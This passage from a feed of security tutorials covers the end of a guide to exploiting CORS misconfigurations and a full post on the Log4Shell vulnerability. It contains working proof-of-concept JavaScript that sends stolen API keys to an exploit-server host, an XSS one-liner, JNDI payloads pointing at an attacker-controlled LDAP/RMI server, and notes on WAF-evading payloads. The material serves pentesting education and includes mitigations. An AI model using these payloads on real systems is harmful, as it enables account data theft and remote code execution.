<p><img src="https://miro.medium.com/v2/resize:fit:2584/1*2zq3p_IKD032TRHZdZPURA.png" alt="Image" width="1566" height="566" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1787/1*5NNTx2nk9eLKT1fATokzCw.png" alt="Image" width="1083" height="634" loading="lazy">
<em>Figures 9 &amp; 10 — show the admin API key in the logs and the plain text key value on Decoder.</em></p>
<h3 id="heading-case-2-null-origin">Case 2: Null Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the null value and enables passing credentials with the <strong><code>Access-Control-Allow-Credentials</code></strong> set to <strong>true.</strong></p>
<pre><code>Access-Control-Allow-Origin: <span class="hljs-literal">null</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy">
<em>Figure 11 — shows the application server accepts null origins.</em></p>
<p>The exploitation requires us to host the JS script file to be accessible to the targeted user (<em>same as in case #1</em>). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.</p>
<pre><code>&lt;html&gt;
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display: none;"</span> <span class="hljs-attr">sandbox</span>=<span class="hljs-string">"allow-scripts"</span> <span class="hljs-attr">srcdoc</span>=<span class="hljs-string">"
        &lt;script&gt;
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        &lt;/script&gt;"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>When the authenticated user clicks on our link <code>[**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.)</code>, we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.</p>
<p>The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2412/1*a4Qtndhg7lDtOUriDT6CWA.png" alt="Image" width="1462" height="622" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1916/1*MgEzSTxHOyF2oZQ1yNftnQ.png" alt="Image" width="1161" height="691" loading="lazy">
_Figures 12 &amp; 13 — show null value is added to the request header, and the user accessed the cors_null<em>poc page.</em></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*ppYb-xcA4Fx-Doh3vw62HQ.png" alt="Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting" width="1155" height="388" loading="lazy">
<em>Figure 14 — shows the user’s account details when clicking the link.</em></p>
<h3 id="heading-case-3-trusted-subdomains">Case 3: Trusted Subdomains</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to any of its subdomains and allows credentials with <strong>Access-Control-Allow-Credentials</strong> set to <strong>true.</strong></p>
<p>The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.</p>
<pre><code>Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*a-Fvk06eJoyL-9W9Oo5lvQ.png" alt="Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking" width="1155" height="523" loading="lazy">
<em>Figure 15 — shows the domain accepts its subdomains’ origins.</em></p>
<p>If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.</p>
<p>In the Port Swigger lab #3, the application trusts its subdomain — <strong>stock</strong> — that is vulnerable to XSS vulnerability in the <code>**ProductId=**</code> parameter.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2082/1*HBCf3Iwa82ZAB0Frlll_pA.png" alt="Image" width="1262" height="515" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2023/1*vqSoc_DI8kjbJTx-aF2DBg.png" alt="Image" width="1226" height="495" loading="lazy">
<em>Figures 16 &amp; 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.</em></p>
<p>We will use the same script to exploit this case, except we will add the location where we inject the payload using the <code>**document.location**</code> function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.</p>
<pre><code>&lt;script&gt;
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://subdomain.domain.com/?productId=&lt;script&gt;
    &lt;script&gt;
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "</span>APPLICATION URL/accountDetails<span class="hljs-string">",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  &lt;/script&gt; 
      &lt;/script&gt;</span>
</code></pre><p>After that, we save the script as <code>**cors_poc.html**</code><strong>,</strong> host it on our server, and send the link to the user.</p>
<pre><code>&lt;html&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://Insecure-subdomain/?productId=&lt;script&gt;var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script&gt;&amp;storeId=1"</span>
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the <code>**productId**</code> parameter and retrieved the API key.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2454/1*bQu-QJBOmrH_DynC_VNbeg.png" alt="Image" width="1487" height="595" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2531/1*-j8W-uY7yk-UmYol1cBzqg.png" alt="Image" width="1534" height="603" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1957/1*NiWGBfvbWHT8Y47BuVrJ0w.png" alt="Image" width="1186" height="580" loading="lazy">
<em>Figures 18, 19 &amp; 20 — show injecting the XSS payload and capturing the APi key in action.</em></p>
<h2 id="heading-unexploitable-case-wild-card">Unexploitable Case: Wild Card (*)</h2>
<p>The application is NOT vulnerable when the <strong>Access-Control-Allow-Origin</strong> is set to wildcard <code>*****</code> , even if the <strong>Access-Control-Allow-Credentials</strong> header is set to true. </p>
<p>This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.</p>
<h2 id="heading-mitigations">Mitigations</h2>
<ul>
<li>Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.</li>
<li>Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.</li>
</ul>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains. </p>
<p>We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.</p>
<p>By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.</p>
<h3 id="heading-resources">Resources</h3>
<ul>
<li><a target="_blank" href="https://ranakhalil.teachable.com/p/web-security-academy-video-series">https://ranakhalil.teachable.com/p/web-security-academy-video-series</a></li>
<li><a target="_blank" href="https://www.trustedsec.com/blog/cors-findings/">https://www.trustedsec.com/blog/cors-findings/</a></li>
<li><a target="_blank" href="https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations">https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations</a></li>
<li><a target="_blank" href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Java Log4JShell Vulnerability – What I Learned About it This Week ]]>
                </title>
                <description>
                    <![CDATA[ Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java applications worldwide.  The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/java-log4jshell-vulnerability/</link>
                <guid isPermaLink="false">66bb8a4c0eaca026d8cfa5c4</guid>
                
                    <category>
                        <![CDATA[ Java ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerabilities ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Thu, 23 Dec 2021 21:01:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/12/photo-1542382257-80dedb725088.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java applications worldwide. </p>
<p>The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.</p>
<p>There are a lot of resources out there on Twitter, Reddit, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.</p>
<h2 id="heading-log4shell-vulnerability-overview">Log4Shell Vulnerability Overview</h2>
<p>The <strong>Log4Shell</strong> vulnerability is a Java JNDI injection. It's not a new vulnerability, though – there was a <a target="_blank" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">Blackhat talk in 2016 about it by Alvaro Munoz &amp; Oleksandr Mirosh</a>.</p>
<p>Older versions of the library <strong>1. x</strong> are not vulnerable to code execution. The logs are encapsulated in string format as they should be, and they don’t get parsed.</p>
<p>Interestingly, the vulnerability was introduced with the new <strong>JNDI lookup</strong> feature in version <strong>2.0–2.15.0</strong> that allows any inputs to be parsed and interpreted by the application no matter where it originates. </p>
<p>These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).</p>
<p>Below is an excellent diagram by Rob Fuller <a target="_blank" href="https://twitter.com/mubix/status/1470430085169745920">(@mubix)</a> showing this vulnerability’s impact. </p>
<p>It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.</p>
<p>I got DNS callbacks from all of them. 😱</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/Log4J-Explanation-Rob_Fuller_Mubix-1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>JNDI</strong>, or Java Naming Directory Interface, is an API that allows the Java application to perform searches on objects based on their names. It supports several directory services like <strong>LDAP, RMI, DNS, and CORBA</strong>.</p>
<p>Most of the payloads I have seen use LDAP, DNS, and RMI protocols to perform the DNS requests.</p>
<p>For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.</p>
<p><strong>DNS requests</strong> are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.</p>
<h2 id="heading-impact-of-the-log4shell-vulnerability">Impact of the Log4Shell Vulnerability</h2>
<p>The main impacts of this vulnerability are:</p>
<ul>
<li>Data Exfiltration through DNS</li>
<li>Remote Code Execution with malicious Java objects and Rogue LDAP servers</li>
</ul>
<h2 id="heading-patched-version">Patched Version</h2>
<p>The Log4J <strong>version 2.17</strong> is patched.<strong>2.15.0 and 2.16.0</strong> patches were bypassed while writing this article.</p>
<h2 id="heading-how-attackers-exploit-log4shell">How Attackers Exploit Log4Shell 💻</h2>
<p>The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as <strong>“Log4JPayload.class”</strong> to get referenced later.</p>
<p>Then, the attacker inserts the crafted JNDI injection to any requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF and so on <strong>(see below injection points)</strong>.</p>
<h3 id="heading-payload-examples">Payload Examples</h3>
<pre><code>${<span class="hljs-attr">jndi</span>:ldap:<span class="hljs-comment">//attackermachine:portnumber/Log4JPayload.class} </span>

${<span class="hljs-attr">jndi</span>:rmi:<span class="hljs-comment">//attackermachine:portnumber/Log4JPayload.class}</span>
</code></pre><p>When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class.</p>
<p>The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.</p>
<h2 id="heading-injectionpoints">InjectionPoints</h2>
<p>One main injection point is in <strong>request paths</strong> like in the example below:
<code>GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1</code></p>
<p>Another is in <strong>HTTP Headers</strong>. An attacker can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing.  <a target="_blank" href="https://musana.net/2021/12/13/log4shell-Quick-Guide/">Musa Şana</a> compiled a more extensive list.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/1_pyg0Y8AQNnklLdN-oqq8jg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Injection Points</em></p>
<p>It is essential to remember that the exploit doesn’t result in an immediate callback all the time. It sometimes takes minutes to hours to get something back. </p>
<p>I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding whether it's vulnerable or not. Be patient ⏰!</p>
<h2 id="heading-log4shell-payloads">Log4Shell Payloads</h2>
<p>There are so many payloads that have been posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF. </p>
<p>Below is a screenshot of the payloads collected from Twitter. </p>
<p>I compiled the interesting ones on <a target="_blank" href="https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk">Carbon snippet</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/image-54.png" alt="Image" width="600" height="400" loading="lazy">
<em>Collected Payloads from Twitter - [https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk](https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk" rel="noopener ugc nofollow)</em></p>
<h2 id="heading-data-exfiltration-examples">Data Exfiltration Examples</h2>
<p>Suppose an application is not vulnerable to remote code execution or blocks outgoing LDAP connections. In that case, an attacker or pentester can still leverage this vulnerability to extract sensitive information such as secret keys, tokens, and configuration files of the application itself and the hosted infrastructure. </p>
<p>An attacker can then leverage the information to choose the appropriate attack vector to compromise the targeted application.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/dns.png" alt="Image" width="600" height="400" loading="lazy">
<em>Carbon Sinppet - [https://carbon.now.sh/kToUK7dCk0KJkri0qvXf](https://carbon.now.sh/kToUK7dCk0KJkri0qvXf" rel="noopener ugc nofollow)</em></p>
<h2 id="heading-auotmated-checks">Auotmated Checks</h2>
<p>Automated scans help during a black-box pentest to perform cursory checks on many hosts. Below is the list of major known scanning tools that can help you achieve that:</p>
<ul>
<li>Burp Extensions:  <a target="_blank" href="https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f">Log4Shell Scanner</a> </li>
<li><a target="_blank" href="https://github.com/fullhunt/log4j-scan">Log4J Scanner by mazen160</a> </li>
<li>Nuclei Template for Log4J — id:  <a target="_blank" href="https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml">CVE-2021–44228</a> </li>
<li>Nmap NSE Script —  <a target="_blank" href="https://github.com/Diverto/nse-log4shell">nse-log4shell</a> </li>
</ul>
<h2 id="heading-dns-log-monitor-services">DNS Log Monitor Services</h2>
<p>To quickly test the application, we use the below services to create a DNS token for our payload and see if we get the callbacks.</p>
<ul>
<li><strong><a target="_blank" href="https://canarytokens.org/generate">Canary Tokens</a></strong></li>
<li><strong><a target="_blank" href="http://www.dnslog.cn/">DNSlog.cn</a></strong> </li>
<li><strong><a target="_blank" href="https://app.interactsh.com/#/">Interactsh</a></strong></li>
<li><strong>Burp Collaborator</strong></li>
</ul>
<h2 id="heading-vulnerable-apps-to-test">Vulnerable Apps to Test:🔥</h2>
<p>There are a number of great, ready-to-spin-up vulnerable applications on GitHub, PentesterLabs, and TryHackMe for testing this vulnerability. </p>
<p>My favorite is the Log4Shell app (it requires some setup and can show you behind the scenes of setting up a rogue LDAP server and connecting to it). However, if you want to test this quickly, TryHackMe Solar room is the way to go.</p>
<ul>
<li><strong>Log4jPwn</strong> — https://github.com/leonjza/log4jpwn</li>
<li><strong>Log4Shell</strong> — https://github.com/kozmer/log4j-shell-poc</li>
<li><strong>PentestLabs Challenges</strong> :  <a target="_blank" href="https://pentesterlab.com/exercises/log4j_rce/course"><strong>Log4J RCE</strong></a> ,  <a target="_blank" href="https://pentesterlab.com/exercises/log4j_rce_ii/course"><strong>Log4J RCE II</strong></a> </li>
<li><strong>TryHackMe Solar Room</strong> by John Hammond — https://tryhackme.com/room/solar [free room]</li>
</ul>
<h2 id="heading-log4shell-mitigations">Log4Shell Mitigations</h2>
<p>In order to protect yourself from this vulnerability, here are some steps you can take:</p>
<ul>
<li>Upgrade to the latest version of Log4J — <strong>v2.17.0.</strong> </li>
<li><p>Disable lookups within messages <code>log4j2.formatMsgNoLookups=true</code> </p>
</li>
<li><p>Remove the JndiLookup class from the classpath <code>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code></p>
</li>
<li><p>Apply firewall rules to limit communications to only a few allowable hosts, not with everyone.  <a target="_blank" href="https://twitter.com/bettersafetynet"><strong>Mick Douglas</strong></a> explains it well in his Tweet about the IMMA model  <a target="_blank" href="https://twitter.com/bettersafetynet/status/1469470983190986754"><strong>“Isolate,” “Minimize,” “Monitor,” and “Active Defense”</strong></a>!</p>
</li>
</ul>
<p>That’s all for today. This was a hell of a week. I learned many new things about Java injections and exploitation.</p>
<p>Thanks for reading!!</p>
<h2 id="heading-learn-more-about-log4jshell">Learn More About Log4JShell</h2>
<ul>
<li><a target="_blank" href="https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns">Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=oC2PZB5D3Ys">What do you need to know about the log4j (Log4Shell) vulnerability? by SANS Institute </a> </li>
<li><a target="_blank" href="https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j">Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j</a> </li>
<li><a target="_blank" href="https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/">Apache log4j Vulnerability CVE-2021-44228: Analysis and Mitigations</a> </li>
<li><a target="_blank" href="https://musana.net/2021/12/13/log4shell-Quick-Guide/">log4shell - Quick Guide</a> </li>
<li><a target="_blank" href="https://medium.com/geekculture/log4shell-zero-day-exploit-walkthrough-f42352612ca6">Log4Shell Zero-day Exploit Walkthrough</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=7qoPDq41xhQ&amp;t=35s">CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=Y8a5nB-vy78&amp;t=2494s">A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land </a> </li>
<li><a target="_blank" href="https://blog.shiftleft.io/log4shell-jndi-injection-via-attackable-log4j-6bfea2b4896e">Log4Shell : JNDI Injection via Attackable Log4J</a> </li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
